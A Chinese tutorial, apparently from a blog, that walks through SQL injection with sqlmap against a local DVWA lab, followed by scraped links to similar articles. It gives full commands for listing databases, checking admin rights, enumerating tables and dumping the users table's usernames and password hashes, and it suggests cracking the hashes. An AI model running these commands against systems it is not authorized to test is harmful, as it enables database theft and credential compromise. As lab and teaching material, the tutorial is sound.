结合sqlmap进行sql注入:(-r后面是通过burp suite抓出来的请求包;-p后面是注入点,即该请求里携带的某个参数)

  • Get请求的注入:

      ./sqlmap.py -r rss_test.txt -p orderId
    • --cookie表示携带cookie的请求,一般为登录cookie

        python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-4530-9f07-677aa2176c6c; PHPSESSID=69vkfcgth1nurep7o8uhf7a577" –dbs
  • post请求的注入:rss_test.txt是post请求的抓包数据信息

    • 如果post注入,需要body信息,确定是-r txt 还是–data=“name=value”

        python sqlmap.py -r rss_test.txt -p orderId --dbs --random-agent
    • 也可不写注入点,比如 ./sqlmap.py -r xx.txt

    • 注入日志输出在如下路径:

        C:\Users\cj\AppData\Local\sqlmap\output
  • 注入过程如下:

  • 如上图,表示当前sql注入已经探测出了该数据库类型为MySQL,如果确定是,则直接输入Y,跳过其他数据库类型的检测

  • 对于其余的测试,是否要包括所有针对“MySQL”扩展的测试提供的水平(1)和风险(1)值,输入Y,包含所有针对MySQL的测试

  • 如上图,检测到参数id存在注入的风险(结果中包含 “id” is Vulnerable 字段表示存在注入),是否想要保持测试其他的参数,如果确定其他参数无注入风险的话,直接输入N,不再测其他参数。说明这里存在sql注入点。

  • 接下来会注入并获取数据库(前提是,当前的cookie需有效,若无效,则会获取不到数据库),如下



  • 用 --current-db进一步获取当前数据库

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --current-db

  • 用 --is-dba判断该注入点是否有管理员权限:返回true 表示是管理员

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --is-dba

  • 用 -D "dvwa" –tables 获取当前数据库的所有表(dvwa数据库是之前查出的当前数据库)

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" –tables

  • 用 -D "dvwa" -T "users" –columns 获取数据库dvwa中表users的所有字段

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users"
    --columns

  • 用 -D "dvwa" -T "users" -C "user,password" –dump 获取user和password字段的值,如下

      E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli
    /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45
    30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users"
    -C "user,password" –dump

  • 这里获取到的用户名和密码,猜测密码加密方式,再用对应的方式解密。

结合sqlmap进行sql注入过程的更多相关文章

  1. CentOS 7 通过SQLmap进行SQL注入

    安装SQLmap: IP:192.168.94.11 渗透测试演练系统DVWA: IP:192.168.94.111 通过SQLmap检测SQL注入漏洞 : 1.安装SQLmap漏洞查看工具 2.安装 ...

  2. Java程序员从笨鸟到菜鸟之(一百零一)sql注入攻击详解(二)sql注入过程详解

    在上篇博客中我们分析了sql注入的原理,今天我们就来看一下sql注入的整体过程,也就是说如何进行sql注入,由于本人数据库和网络方面知识有限,此文章是对网上大量同类文章的分析与总结,其中有不少直接引用 ...

  3. sqlmap查找SQL注入漏洞入门

    1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...

  4. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  5. 使用sqlmap执行SQL注入攻击

    sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库. Kali Linux默认安装了这个工具. 找到潜在的攻击目标 第一步是找到有SQL注入漏洞的网站. ...

  6. kali之使用sqlmap进行sql注入

    sqlmap简介 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入. 2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是 ...

  7. 典型的 SQL 注入过程(转)

    无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权.这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程. 发现 ...

  8. Burosuite抓包Sqlmap学习Sql注入

    在sqlmap中加入--proyxy参数: --proxy "http://127.0.0.1:8080" 如下图所示: 回车以后sqlmap会自动抓到数据包: 我们选择向前(fo ...

  9. 使用SQLMAP对网站和数据库进行SQL注入攻击

    from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介 ...

随机推荐

  1. CTS、CLS、CLR

    CTS.CLS和CLR是.NET框架的3个核心部分,下面分别对它们进行介绍. 1)CTS  Common Type System CTS即通用类型系统,它定义了如何在.NET Framework运行库 ...

  2. BZOJ2809&&LG1552 APIO2012派遣(线段树合并)

    BZOJ2809&&LG1552 APIO2012派遣(线段树合并) 题面 自己找去 HINT 简化一题面就是让你从每个点的子树中以\(<=m\)的代价选取尽可能多的点,然后乘上 ...

  3. js异步执行 按需加载 三种方式

    js异步执行 按需加载 三种方式 第一种:函数引用 将所需加载方法放在匿名函数中传入 //第一种 函数引用 function loadScript(url,callback){ //创建一个js va ...

  4. docker镜像ubuntu封装jdk1.8.0【dockerfile】

    github地址:https://github.com/laileman/Docker/Dockerfile/ubuntu-jdk1.8.0_172 1-目录结构 2- dockerfile内容 3- ...

  5. Git操作时遇到的一些问题和相应的处理方式

    Q1:如何解决冲突/避免冲突 A1:执行git fetch之后,本地可能会存在冲突. 如果希望合并本地修改内容,需要执行git merge.不过当有修改内容未提交时,不能merge,要么把修改内容提交 ...

  6. python:利用smtplib发送邮件详解

    本文转自:https://www.cnblogs.com/insane-Mr-Li/p/9121619.html 自动化测试中,测试报告一般都需要发送给相关的人员,比较有效的一个方法是每次执行完测试用 ...

  7. 实用沙盒工具 —— VMware Workstation15安装教程

    一:简介 VMware Workstation(中文名"威睿工作站")是一款功能强大的桌面虚拟计算机软件,提供用户可在单一的桌面上同时运行不同的操作系统,和进行开发.测试 .部署新 ...

  8. host文件无写权限时,怎么设置

    点击文件属性---安全---选择对应的用户---编辑属性---勾选需要的属性---应用---确定

  9. ActiveMQ的p2p模式与发布订阅模式

    1.消息中间件:采用异步通讯防止,支持点对点以及发布订阅模式,可以解决高并发问题        传统调用接口,可能发生阻塞,重复提交,超时等等问题,可以利用消息中间件发送异步通讯请求          ...

  10. (四)tensorflow-基础(数据类型,张量操作,数学运算)

    摘要: 1.数据类型:标量.向量.矩阵.张量  :数值精度:变量(张量) 2.张量操作:索引.切片.维度操作 3.数学运算:加减乘除(整除和余除):乘方(平方.开方.指数):自然底对数(任意底对数需要 ...